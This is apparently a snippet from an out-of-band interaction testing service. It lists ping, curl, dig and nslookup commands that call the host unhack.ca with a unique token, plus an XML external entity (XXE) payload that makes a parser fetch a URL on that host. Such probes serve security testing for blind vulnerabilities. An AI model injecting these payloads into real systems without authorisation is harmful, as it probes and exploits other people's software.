$ ping -c1 -p 00af4830590c62a11cda2e1f87d32d00 unhack.ca
 

$ curl http://unhack.ca/p/af4830590c62a11cda2e1f87d32d
 

$ dig af4830590c62a11cda2e1f87d32d @unhack.ca
 

$ dig af4830590c62a11cda2e1f87d32d.ns.unhack.ca
 

C:\> nslookup af4830590c62a11cda2e1f87d32d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/af4830590c62a11cda2e1f87d32d">]>
    <foo>&xxe;</foo>